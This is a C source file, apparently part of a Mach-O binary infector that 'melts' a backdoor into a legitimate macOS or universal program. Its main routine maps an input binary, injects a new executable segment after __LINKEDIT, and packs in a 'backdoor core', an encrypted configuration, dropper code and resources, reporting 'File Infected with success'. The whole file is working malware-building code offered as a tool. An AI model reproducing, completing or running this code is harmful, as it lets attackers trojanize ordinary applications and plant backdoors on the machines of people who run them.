    outputOffset += sizeof (struct mach_header_64);
    inputOffset  += sizeof (struct mach_header_64);
#ifdef DEBUG
    printf ("[ii] Starting parsing load_commands\n");
#endif
    for (i = 0; i < m_header->ncmds; i++)
    {
        l_command = (struct load_command *)(inputFilePointer + inputOffset);
#ifdef DEBUG_VERBOSE
        printf ("loadCommand: %d (%x)\n", i, l_command->cmd);
#endif
        switch (l_command->cmd)
        {
        case LC_THREAD:
            /*case LC_UNIXTHREAD:
            {
            struct thread_command *th_command;

            th_command = (thread_command *) allocate (sizeof (struct thread_command));
            memcpy (th_command, inputFilePointer + inputOffset, sizeof (struct thread_command));

            //th_command->state.eip += sizeof (struct section);
            //th_command->state.eip = 0x8; // W00t

            memcpy (outputFilePointer + outputOffset, th_command, sizeof (struct thread_command_64));
            free (th_command);

            inputOffset += sizeof (struct thread_command);
            outputOffset += sizeof (struct thread_command);

            break;
            }*/
        case LC_SEGMENT:
            {
#ifdef DEBUG
                printf ("LC_SEGMENT size: %d\n", (int)(sizeof (struct segment_command_64)));
#endif
                seg_command = (segment_command_64 *) allocate (sizeof (struct segment_command_64));
                memcpy (seg_command, inputFilePointer + inputOffset, sizeof (struct segment_command_64));

                inputOffset += sizeof (struct segment_command_64);

#ifdef DEBUG_VERBOSE
                printf("segname: %s\n", seg_command->segname);
#endif

                if (!strncmp (seg_command->segname, "__PAGEZERO",
                    strlen (seg_command->segname)))
                {
#ifdef DEBUG
                    printf ("[ii] Found __PAGEZERO Segment\n");
#endif  
                    //
                    // Update the segment within the new prot flags(EP) and size
                    //
                    //seg_command->cmdsize  += sizeof (struct section);
                    /*
                    seg_command->fileoff  = fileSize + padding;

                    //seg_command->filesize = outputFileSize;
                    seg_command->filesize = FIRST_STAGE_CODE_SIZE;

                    if (seg_command->filesize % PAGE_ALIGNMENT)
                    seg_command->filesize = ((seg_command->filesize + PAGE_ALIGNMENT)
                    & ~(PAGE_ALIGNMENT -1));

                    //seg_command->vmsize = paddedPagezeroVASize = outputFileSize; // PageBoundary padding 4K
                    seg_command->vmsize = seg_command->filesize;

                    seg_command->maxprot  = 0x7;
                    seg_command->initprot = 0x5;
                    //seg_command->nsects   += 0x1;
                    */
                    // Copy back the segmentCommand
                    memcpy (outputFilePointer + outputOffset, seg_command, sizeof (struct segment_command_64));
                    outputOffset += sizeof (struct segment_command_64);
                    /*
                    //
                    // Create the new section
                    //
                    printf ("[ii] section size: %d\n", (int)(sizeof (struct section)));
                    sect = allocate (sizeof (struct section));

                    if (sect == NULL)
                    {
                    printf("[ee] Error while allocating the new section\n");
                    return kErrorMemoryAllocation;
                    }

                    strcpy (sect->sectname, INJECTED_SECTION_NAME);
                    strcpy (sect->segname, INJECTED_SEGMENT_NAME);
                    //sect->addr    = stackSize;
                    sect->offset  = fileSize + padding;
                    sect->size    = outputFileSize; //TOP_STACK - stackSize; // size of the stack
                    sect->align   = 0x2; // standard alignment
                    sect->flags   = 0x80000000; // x flag

                    // Copy back the section
                    memcpy (outputFilePointer + outputOffset, sect, sizeof (struct section));
                    outputOffset += sizeof (struct section);

                    free (sect);
                    */
                }
                else if (!strncmp (seg_command->segname, "__LINKEDIT",
                    strlen (seg_command->segname)))
                {
#ifdef DEBUG
                    printf ("[ii] Found %s Segment\n", seg_command->segname);
#endif  
                    memcpy (outputFilePointer + outputOffset, seg_command, sizeof (struct segment_command_64));
                    outputOffset += sizeof (struct segment_command_64);

                    //
                    // Now inject the new segment
                    //
                    struct segment_command_64 *mySegment = (struct segment_command_64 *) allocate (sizeof (struct segment_command_64));

                    mySegment->cmd      = LC_SEGMENT;
                    mySegment->cmdsize  = sizeof (struct segment_command_64);
#ifdef WIN32
                    strncpy_s(mySegment->segname, strlen(INJECTED_SEGMENT), INJECTED_SEGMENT, _TRUNCATE);
#else
                    strncpy (mySegment->segname, INJECTED_SEGMENT, strlen (INJECTED_SEGMENT));
#endif
                    mySegment->vmaddr   = seg_command->vmaddr + seg_command->vmsize;
                    mySegment->vmsize   = outputFileSize;

                    // XXX: Check this out outOffsetToArch
                    mySegment->fileoff  = inputFileSize + padding - outOffsetToArch;

                    mySegment->filesize = outputFileSize;
                    mySegment->maxprot  = 0x7;
                    mySegment->initprot = 0x5;

                    //segVMAddr = mySegment->vmaddr;

                    memcpy (outputFilePointer + outputOffset, mySegment, sizeof (struct segment_command_64));
                    outputOffset += sizeof (struct segment_command_64);
                }
                else
                {
                    //
                    // Shift all the VM Addresses
                    //
                    //seg_command->vmaddr += paddedPagezeroVASize - PAGE_ALIGNMENT;

                    memcpy (outputFilePointer + outputOffset,
                        seg_command,
                        sizeof (struct segment_command_64));
                    outputOffset += sizeof (struct segment_command_64);
#ifdef DEBUG
                    printf ("[ii] Cycling for segment (%s) sections (%d)\n",
                        seg_command->segname, seg_command->nsects);
#endif  
                    for (z = 0; z < seg_command->nsects; z++)
                    {
                        struct section_64 *sect;

                        sect = (struct section_64 *) allocate (sizeof (struct section_64));
                        if (sect == NULL)
                        {
                            printf("[ee] Error while allocating the new section\n");
                            return kErrorMemoryAllocation;
                        }
                        memcpy (sect, inputFilePointer + inputOffset, sizeof (struct section_64));

                        //sect->offset += sizeof (struct section);
                        //sect->addr += paddedPagezeroVASize - PAGE_ALIGNMENT;

                        memcpy (outputFilePointer + outputOffset,
                            sect,
                            sizeof (struct section_64));

                        free (sect);
                        inputOffset += sizeof (struct section_64);
                        outputOffset += sizeof (struct section_64);
                    }
                }

                free (seg_command);

                break;
            }
            /*case LC_SYMTAB:
            {
            struct symtab_command *sy_command;
            sy_command = (symtab_command *) allocate (sizeof (struct symtab_command));
            memcpy (sy_command, inputFilePointer + inputOffset, sizeof (struct symtab_command));

            //sy_command->symoff += sizeof (struct section);
            //sy_command->stroff += sizeof (struct section);

            memcpy (outputFilePointer + outputOffset, sy_command, sizeof (struct symtab_command));
            free (sy_command);

            inputOffset += sizeof (struct symtab_command);
            outputOffset += sizeof (struct symtab_command);

            break;
            }
            case LC_DYSYMTAB:
            {
            struct dysymtab_command *dysym_command;
            dysym_command = (dysymtab_command *) allocate (sizeof (struct dysymtab_command));
            memcpy (dysym_command, inputFilePointer + inputOffset, sizeof (struct dysymtab_command));

            //dysym_command->indirectsymoff += sizeof (struct section);

            memcpy (outputFilePointer + outputOffset, dysym_command, sizeof (struct dysymtab_command));
            free (dysym_command);

            inputOffset += sizeof (struct dysymtab_command);
            outputOffset += sizeof (struct dysymtab_command);

            break;
            }
            case LC_CODE_SIGNATURE:
            case LC_SEGMENT_SPLIT_INFO:
            {
            struct linkedit_data_command *linkedit_command;
            linkedit_command = (linkedit_data_command *) allocate (sizeof (struct linkedit_data_command));
            memcpy (linkedit_command, inputFilePointer + inputOffset, sizeof (struct linkedit_data_command));

            //linkedit_command->dataoff += sizeof (struct section);

            memcpy (outputFilePointer + outputOffset, linkedit_command, sizeof (struct linkedit_data_command));
            free (linkedit_command);

            inputOffset += sizeof (struct linkedit_data_command);
            outputOffset += sizeof (struct linkedit_data_command);

            break;
            }*/
        default:
            {
                memcpy (outputFilePointer + outputOffset,
                    inputFilePointer + inputOffset,
                    l_command->cmdsize);
                inputOffset += l_command->cmdsize;
                outputOffset += l_command->cmdsize;

                break;
            }
        }
    }

#ifdef DEBUG
    printf("[ii] inputFilePointer : 0x%08x\n", inputFilePointer);
    printf("[ii] inputOffset      : 0x%08x\n", inputOffset);
    printf("[ii] inputFileSize    : 0x%08x\n", inputFileSize);
    printf("[ii] outputFilePointer: 0x%08x\n", outputFilePointer);
    printf("[ii] outputOffset     : 0x%08x\n", outputOffset);
    printf("[ii] outputFileSize   : 0x%08x\n", outputFileSize);
#endif
    //
    // Now the rest of the file (data), here we wanna skip sizeof segment_command
    // in order to leave the file padded correctly for its TEXT segment
    //
    memcpy (outputFilePointer + outputOffset,
        inputFilePointer + inputOffset + sizeof (struct segment_command_64),
        inputFileSize - inputOffset - sizeof (struct segment_command_64));

    free (m_header);
    printf ("[ii] LoadCommands copied successfully\n");

#ifdef DEBUG_VERBOSE
    printf ("inputFilePointer: %x\n", inputFilePointer);
    printf ("inputFilePointer: %x\n", *(unsigned long *)inputFilePointer);
    printf ("inputFilePointer: %x\n", *(unsigned long *)(inputFilePointer + 0x1000));
    printf ("inputSize + padding: %d\n", inputFileSize + padding);
#endif

    if (appendData(inputFilePointer,
        outputFilePointer,
        inOffsetToArch,
        outOffsetToArch,
        inputFileSize + padding,
        segVMAddr,
        true) != kErrorGeneric)
        return padding;
    else
        return kErrorGeneric;
}
#endif
int
getBinaryFormat(char *aFilePointer)
{
    memset(&gFatHeader, 0, sizeof (gFatHeader));
    memcpy(&gFatHeader, aFilePointer, sizeof (gFatHeader));

    switch (gFatHeader.magic)
    {
    case FAT_CIGAM:
        return kFatSwapBinary;
    case FAT_MAGIC:
        return kFatBinary;
    case MH_MAGIC:
        return kMachBinary;
    default:
        return kErrorFileNotSupported;
    }
}

int getFileSize(char *aFilePath)
{
    struct stat sb;

    if (stat(aFilePath, &sb) == kErrorGeneric)
    {
        return kErrorGeneric;
    }

    return sb.st_size;
}

void
usage(_mChar *aBinaryName)
{
#ifdef WIN32
    printf("\nUsage: %S <core> <conf> <imanager> <xpc> <dirname> <bitmap> <input> <output>\n\n", aBinaryName);
#else
    printf("\nUsage: %s <core> <conf> <kext32> <kext64> <imanager> <xpc> <icon> <dirname> <input> <output>\n\n", aBinaryName);
#endif
    printf("\t<core>     : backdoor core\n");
    printf("\t<conf>     : backdoor encrypted configuration\n");
    //printf("\t<kext32>   : kernel extension 32bit\n");
    //printf("\t<kext64>   : kernel extension 64bit\n");
    printf("\t<imanager> : input manager\n");
    printf("\t<xpc>      : xpc service\n");
    //printf("\t<icon>     : icon\n");
    printf("\t<dirname>  : backdoor dir name\n");
    printf("\t<bitmap>   : bitmap image for demo\n");
    printf("\t<input>    : binary to melt with\n");
    printf("\t<output>   : output filename\n\n");
}

int
parseArguments(int argc, _mChar **argv)
{
    if (argc != 7)
    {
        return kErrorGeneric;
    }

#ifdef WIN32_NO
    coreFileName   = (char *)calloc(1, strlen(argv[1]) + 1);
    confFileName   = (char *)calloc(1, strlen(argv[2]) + 1);
    kextFileName   = (char *)calloc(1, strlen(argv[3]) + 1);
    installPath    = (char *)calloc(1, strlen(argv[4]) + 1);
    inputFileName  = (char *)calloc(1, strlen(argv[5]) + 1);
    outputFileName = (char *)calloc(1, strlen(argv[6]) + 1);

    sprintf_s(coreFileName, sizeof(coreFileName), "%s", argv[1]);
    sprintf_s(confFileName, sizeof(confFileName), "%s", argv[2]);
    sprintf_s(kextFileName, sizeof(kextFileName), "%s", argv[3]);
    sprintf_s(installPath, sizeof(installPath), "%s", argv[4]);
    sprintf_s(inputFileName, sizeof(inputFileName), "%s", argv[5]);
    sprintf_s(outputFileName, sizeof(outputFileName), "%s", argv[6]);
#endif

    coreFilePath          = argv[1];
    confFilePath          = argv[2];
    //kext32FilePath        = argv[3];
    //kext64FilePath        = argv[4];
    //inputManagerFilePath  = argv[3];
//    XPCFilePath           = argv[6];
    //iconFilePath          = argv[6];
    installPath           = argv[3];
    bitmapFilePath        = argv[4];
    inputFilePath         = argv[5];
    outputFilePath        = argv[6];

    printf("coreFilePath: %s\n confFilePath: %s\n installPath: %s\n bitmapFilePath: %s\n  inputFilePath: %s\n outputFilePath: %s\n",
        coreFilePath,
        confFilePath,
        //inputManagerFilePath,        
        installPath,
        bitmapFilePath,
        inputFilePath,
        outputFilePath);


    return kSuccess;
}

#ifdef WIN32
void freeArguments()
{
    if (coreFilePath != NULL)
        free(coreFilePath);
    if (confFilePath != NULL)
        free(confFilePath);
    if (kext32FilePath != NULL)
        free(kext32FilePath);
    if (kext64FilePath != NULL)
        free(kext64FilePath);
    if (inputManagerFilePath != NULL)
        free(inputManagerFilePath);
//    if (XPCFilePath != NULL)
//        free(XPCFilePath);
    if (iconFilePath != NULL)
        free(iconFilePath);
    if (bitmapFilePath != NULL)
        free(bitmapFilePath);
    if (installPath != NULL)
        free(installPath);
    if (inputFilePath != NULL)
        free(inputFilePath);
    if (outputFilePath != NULL)
        free(outputFilePath);
}    
#endif

int
main(int argc, _mChar *argv[])
{
    struct fat_arch *f_arch;
    char *inputFilePointer      = NULL;
    char *outputFilePointer     = NULL;

    int outputFileSize          = 0;
    int fileType                = 0;
    int padding                 = 0;
    int i                       = 0;
    gNumStrings                 = 7;
    gNumberOfResources          = 2;

#ifdef WIN32
    HANDLE inputFD, outputFD, inputFDMap, outputFDMap;
#else
    int inputFD, outputFD;
#endif  

    int offsetToResources       = 0;
    unsigned int inputOffset    = 0;
    unsigned int outputOffset   = 0;
    int nfat                    = 0;
    int cputype                 = 0;
    unsigned int archOffset     = 0;

    if (parseArguments (argc, argv) & kErrorGeneric)
    {
        usage (*argv);
        exit (1);
    }

    //
    // Check if the backdoor, configuration file and KEXT exists and get
    // their size
    //
    if ((gCoreFileSize = getFileSize(coreFilePath)) == kErrorGeneric)
    {
        printf ("[ee] Core backdoor file not found\n");
#ifdef WIN32
        //freeArguments();
#endif
        exit (1);
    }

    if ((gConfFileSize = getFileSize(confFilePath)) == kErrorGeneric)
    {
        printf ("[ee] Configuration file not found\n");
#ifdef WIN32
        //freeArguments();
#endif
        exit (1);
    }
/*
    if ((gKext32FileSize = getFileSize(kext32FilePath)) == kErrorGeneric)
    {
        printf ("[ee] KEXT32 file not found\n");
#ifdef WIN32
        //freeArguments();
#endif
        exit (1);
    }

    if ((gKext64FileSize = getFileSize(kext64FilePath)) == kErrorGeneric)
    {
        printf ("[ee] KEXT64 file not found\n");
#ifdef WIN32
        //freeArguments();
#endif
        exit (1);
    }
*/
    /*
    if ((gInputManagerFileSize = getFileSize(inputManagerFilePath)) == kErrorGeneric)
    {
        printf ("[ee] InputManager file not found\n");
#ifdef WIN32
        //freeArguments();
#endif
        exit (1);
    }
    */

    /*
    if ((gXPCFileSize = getFileSize(XPCFilePath)) == kErrorGeneric)
    {
        printf ("[ee] XPC service file not found\n");
#ifdef WIN32
        //freeArguments();
#endif
        exit (1);
    }
    */
/*
    if ((gIconFileSize = getFileSize(iconFilePath)) == kErrorGeneric)
    {
        printf ("[ee] Icon file not found\n");
#ifdef WIN32
        //freeArguments();
#endif
        exit (1);
    }
*/
    if(strcmp(bitmapFilePath, "null"))
    {
        if ((gBitmapFileSize = getFileSize(bitmapFilePath)) == kErrorGeneric)
        {
            printf("[ee] Bitmap file not found\n");

            exit (1);
        }
        gNumberOfResources++;
    }
    else
        gBitmapFileSize = 0;
    // Map input file
#ifdef WIN32
    if ((inputFilePointer = mapFile(inputFilePath,
        &gInputFileSize,
        &inputFD,
        &inputFDMap,
        0)) == NULL)

#else
    if ((inputFilePointer = mapFile(inputFilePath, &gInputFileSize,
        &inputFD, 0, 0)) == NULL)
#endif
    {
        printf("[ee] Error while mmapping the input file\n");
#ifdef WIN32
        //freeArguments();
#endif
        exit (1);
    }

    // Calculate the padded output file size + 1
    outputFileSize = DROPPER_CODE_SIZE
        + sizeof (crtStart)
        + sizeof (int)
        + gCoreFileSize
        + gConfFileSize
        //+ gKext32FileSize
        //+ gKext64FileSize
        //+ gInputManagerFileSize
        //+ gXPCFileSize
        //+ gIconFileSize
        + gBitmapFileSize
        + sizeof (infectionHeader)
        + sizeof (stringTable) * gNumStrings
        + sizeof (resourceHeader) * gNumberOfResources;

#ifdef DEBUG_VERBOSE
    printf("unpadded outSize: %d\n", outputFileSize);
#endif

    if (outputFileSize % PAGE_ALIGNMENT)
    {
        outputFileSize = ((outputFileSize + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
    }

    int tempSize = outputFileSize + gInputFileSize;

#ifdef DEBUG_VERBOSE
    printf("padded outSize: %d\n", outputFileSize);
    printf("tempSize: %d\n", tempSize);
    printf("[ii] loaderCodeSize: %d\n", DROPPER_CODE_SIZE);
    printf("[ii] gCoreFileSize: %d\n", gCoreFileSize);
    printf("[ii] confCodeSize: %d\n", gConfFileSize);
    printf("[ii] gKext32FileSize: %d\n", gKext32FileSize);
    printf("[ii] gKext64FileSize: %d\n", gKext64FileSize);
    printf("[ii] inputFileSize: %d\n", gInputFileSize);
    printf("[ii] outputFileSize: %d\n", outputFileSize);
#endif

    // Map output file
#ifdef WIN32
    if ((outputFilePointer = mapFile(outputFilePath,
        &tempSize,
        &outputFD,
        &outputFDMap,
        &padding)) == NULL)
#else
    if ((outputFilePointer = mapFile (outputFilePath, &tempSize,
        &outputFD, 0, &padding)) == NULL)
#endif
    {
        printf("[ee] Error while mmapping the output file\n");
#ifdef WIN32
        //freeArguments();
#endif
        exit (1);
    }

    // Giving output file the correct fileSize
#ifdef WIN32
    if (SetFilePointer(outputFD, tempSize + padding - 1, 0, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
    {
        //freeArguments();
        exit (1);
    }
#else
    if (lseek (outputFD, tempSize + padding - 1, SEEK_SET) == kErrorGeneric)
    {
        exit (1);
    }
#endif

#ifdef WIN32
    DWORD dwByteW;

    if (WriteFile(outputFD, "", 1, &dwByteW, 0) == 0)
    {
        if (inputFilePointer != NULL)
            UnmapViewOfFile(inputFilePointer);
        if (outputFilePointer != NULL)
            UnmapViewOfFile(outputFilePointer);

        CloseHandle(outputFDMap);
        CloseHandle(inputFDMap);
        CloseHandle(outputFD);
        CloseHandle(inputFD);
        freeArguments();

        return kErrorWriteFile;
    }
#else
    if (write (outputFD, "", 1) == kErrorGeneric)
    {
        close (outputFD);
        close (inputFD);

        return kErrorWriteFile;
    }

    close (outputFD);
    close (inputFD);
#endif

    // Gettin filetype - Compatibility with MacOS X Leopard 10.5
    fileType = getBinaryFormat(inputFilePointer);

    switch (fileType)
    {
    case kFatBinary:
        {
            gFileType       = 1;
            int x86Found    = 0;
            int otherFound  = 0;

            gFileType = 1;
            nfat = gFatHeader.nfat_arch;
            int fArchSize = 0;

            printf("[ii] FAT Binary found\n");
            printf("[ii] Found %d Arch(s)\n", nfat);

            if (nfat > 4)
            {
                printf("[ii] Error: unsupported format (too many archs)\n");

                return kErrorGeneric;
            }

            //memcpy(outputFilePointer, &gFatHeader, sizeof (gFatHeader));
            //outputOffset  += sizeof(gFatHeader);
            inputOffset   += sizeof(gFatHeader);

            for (i = 0; i < nfat; i++)
            {
                f_arch = (fat_arch *)allocate(sizeof(struct fat_arch));
                memcpy(f_arch, inputFilePointer + inputOffset, sizeof(struct fat_arch));

                cputype       = f_arch->cputype;
                archOffset    = f_arch->offset;
                fArchSize     = f_arch->size;
#ifdef DEBUG
                printf ("[ii] cputype: %d\n", cputype);
                printf ("[ii] archOffset: 0x%x\n", archOffset);
#endif

                if (cputype == CPU_TYPE_X86)
                {
                    uint32_t arch_offt_padded = archOffset;

                    if (gShiftSize > 0)
                    {
                        arch_offt_padded += gShiftSize;

                        if (arch_offt_padded % PAGE_ALIGNMENT)
                            arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
                    }

                    offsetToResources = infectSingleArch((char *)(inputFilePointer),
                        (char *)(outputFilePointer),
                        archOffset,
                        0,//arch_offt_padded,
                        fArchSize,
                        outputFileSize);

                    gShiftSize += sizeof(struct segment_command)
                        + outputFileSize
                        + offsetToResources;

#ifdef DEBUG
                    printf("offsetToRes: %d\n", offsetToResources);
#endif
                    fArchSize += sizeof(struct segment_command)
                        + outputFileSize
                        + offsetToResources;
                    f_arch->size = fArchSize;

                    if (i > 0)
                    {
                        f_arch->offset = arch_offt_padded;
                    }
                }
                /*else if (cputype == CPU_TYPE_X86_64)
                {
                uint32_t arch_offt_padded = archOffset;

                if (gShiftSize > 0)
                {
                arch_offt_padded += gShiftSize;

                if (arch_offt_padded % PAGE_ALIGNMENT)
                arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
                }

                offsetToResources = infectSingleArch64((char *)(inputFilePointer),
                (char *)(outputFilePointer),
                archOffset,
                arch_offt_padded,
                fArchSize,
                outputFileSize);

                gShiftSize += sizeof(struct segment_command)
                + outputFileSize
                + offsetToResources;

                #ifdef DEBUG
                printf("offsetToRes: %d\n", offsetToResources);
                #endif

                fArchSize += sizeof(struct segment_command)
                + outputFileSize
                + offsetToResources;
                f_arch->size = fArchSize;

                if (i > 0)
                {
                f_arch->offset = arch_offt_padded;
                }
                }
                else
                {
                uint32_t arch_offt_padded = archOffset;

                if (gShiftSize > 0)
                {
                arch_offt_padded += gShiftSize;

                if (arch_offt_padded % PAGE_ALIGNMENT)
                arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
                }

                f_arch->offset = arch_offt_padded;

                memcpy(outputFilePointer + arch_offt_padded,
                inputFilePointer + archOffset,
                fArchSize);
                }

                memcpy(outputFilePointer + outputOffset, f_arch, sizeof(struct fat_arch));
                */
                free (f_arch);
                inputOffset   += sizeof(struct fat_arch);
                outputOffset  += sizeof(struct fat_arch);
            }

            break;
        }
    case kFatSwapBinary:
        {
            int x86Found      = 0;
            int otherFound    = 0;

            gFileType = 2;
            nfat = SWAP_LONG(gFatHeader.nfat_arch);
            int fArchSize = 0;

            printf ("[ii] FAT (swapped) Binary found\n");
            printf ("[ii] Found %d Arch(s)\n", nfat);

            if (nfat > 4)
            {
                printf ("[ii] Error: unsupported format (too many archs)\n");

                return kErrorGeneric;
            }

            //memcpy (outputFilePointer, &gFatHeader, sizeof (gFatHeader));
            //outputOffset  += sizeof (gFatHeader);
            inputOffset   += sizeof(gFatHeader);

            for (i = 0; i < nfat; i++)
            {
                f_arch = (fat_arch *)allocate(sizeof(struct fat_arch));
                memcpy(f_arch, inputFilePointer + inputOffset, sizeof(struct fat_arch));

                cputype       = SWAP_LONG(f_arch->cputype);
                archOffset    = SWAP_LONG(f_arch->offset);
                fArchSize     = SWAP_LONG(f_arch->size);
#ifdef DEBUG
                printf ("[ii] cputype: %d\n", cputype);
                printf ("[ii] archOffset: 0x%x\n", archOffset);
#endif

                if (cputype == CPU_TYPE_X86)
                {
                    uint32_t arch_offt_padded = archOffset;

                    if (gShiftSize > 0)
                    {
                        arch_offt_padded += gShiftSize;

                        if (arch_offt_padded % PAGE_ALIGNMENT)
                            arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
                    }

                    if (otherFound == 1)
                    {
                        offsetToResources = infectSingleArch((char *)(inputFilePointer),
                            (char *)(outputFilePointer),
                            archOffset,
                            0,//arch_offt_padded,
                            gInputFileSize,
                            outputFileSize);
                    }
                    else
                    {
                        offsetToResources = infectSingleArch((char *)(inputFilePointer),
                            (char *)(outputFilePointer),
                            archOffset,
                            0,//arch_offt_padded,
                            fArchSize,
                            outputFileSize);
                    }

                    gShiftSize += sizeof(struct segment_command)
                        + outputFileSize
                        + offsetToResources;

#ifdef DEBUG
                    printf("offsetToRes: %d\n", offsetToResources);
#endif
                    fArchSize += sizeof(struct segment_command)
                        + outputFileSize
                        + offsetToResources;

                    f_arch->size = SWAP_LONG(fArchSize);

                    if (i > 0)
                    {
                        f_arch->offset = SWAP_LONG(arch_offt_padded);
                    }
                }
                /*else if (cputype == CPU_TYPE_X86_64)
                {
                uint32_t arch_offt_padded = archOffset;

                if (gShiftSize > 0)
                {
                arch_offt_padded += gShiftSize;

                if (arch_offt_padded % PAGE_ALIGNMENT)
                arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
                }

                if (otherFound == 1)
                {
                offsetToResources = infectSingleArch64 ((char *)(inputFilePointer),
                (char *)(outputFilePointer),
                archOffset,
                arch_offt_padded,
                gInputFileSize,
                outputFileSize);
                }
                else
                {
                offsetToResources = infectSingleArch64 ((char *)(inputFilePointer),
                (char *)(outputFilePointer),
                archOffset,
                arch_offt_padded,
                fArchSize,
                outputFileSize);
                }

                gShiftSize += sizeof (struct segment_command)
                + outputFileSize
                + offsetToResources;

                #ifdef DEBUG
                printf("offsetToRes: %d\n", offsetToResources);
                #endif
                fArchSize += sizeof (struct segment_command)
                + outputFileSize
                + offsetToResources;
                f_arch->size = SWAP_LONG (fArchSize);

                if (i > 0)
                {
                f_arch->offset = SWAP_LONG (arch_offt_padded);
                }
                }
                else
                {
                uint32_t arch_offt_padded = archOffset;
                otherFound++;

                if (gShiftSize > 0)
                {
                #ifdef DEBUG
                printf("[ii] arch_offt_padded: %d\n", arch_offt_padded);
                printf("[ii] Should shift: %d\n", gShiftSize);
                #endif
                arch_offt_padded += gShiftSize;

                if (arch_offt_padded % PAGE_ALIGNMENT)
                arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
                #ifdef DEBUG
                printf("[ii] Padded shift: %d\n", arch_offt_padded);
                #endif
                }

                f_arch->offset = SWAP_LONG (arch_offt_padded);

                memcpy (outputFilePointer + arch_offt_padded,
                inputFilePointer + archOffset,
                fArchSize);
                }

                memcpy (outputFilePointer + outputOffset, f_arch, sizeof (struct fat_arch));
                */
                free(f_arch);
                inputOffset += sizeof(struct fat_arch);
                gOutSize     = fArchSize;
                //outputOffset  += sizeof (struct fat_arch);
            }

            break;
        }
    case kMachBinary:
        {
            gFileType = 3;
            printf("[ii] Mach Binary found\n");

            if ((offsetToResources = infectSingleArch(inputFilePointer,
                outputFilePointer,
                0,
                0,
                gInputFileSize,
                outputFileSize)) < 0)
            {
                printf("[ee] An error occurred while infecting the binary\n");

                switch (offsetToResources)
                {
                case kErrorGeneric:
                    printf("[ee] Got a generic error\n");
                    break;
                case kErrorOpenFile:
                    printf("[ee] Error on file open\n");
                    break;
                case kErrorReadFile:
                    printf("[ee] Error while reading the input file\n");
                    break;
                case kErrorWriteFile:
                    printf("[ee] Error while writing the output file\n");
                    break;
                case kErrorCreateFile:
                    printf("[ee] Error while creating the output file\n");
                    break;
                default:
                    break;
                }
            }

            break;
        }
    default:
        break;
    }

    printf("[ii] File Infected with success\n");

#ifdef WIN32
    if (inputFilePointer != NULL)
        UnmapViewOfFile(inputFilePointer);
    if (outputFilePointer != NULL)
        UnmapViewOfFile(outputFilePointer);

    CloseHandle(outputFDMap);
    CloseHandle(inputFDMap);

    if (gFileType != 3)
    {
        SetFilePointer(outputFD, gOutSize, 0, FILE_BEGIN);
        SetEndOfFile(outputFD);
    }

    CloseHandle(outputFD);
    CloseHandle(inputFD);
    //freeArguments();
#endif

    return kSuccess;
}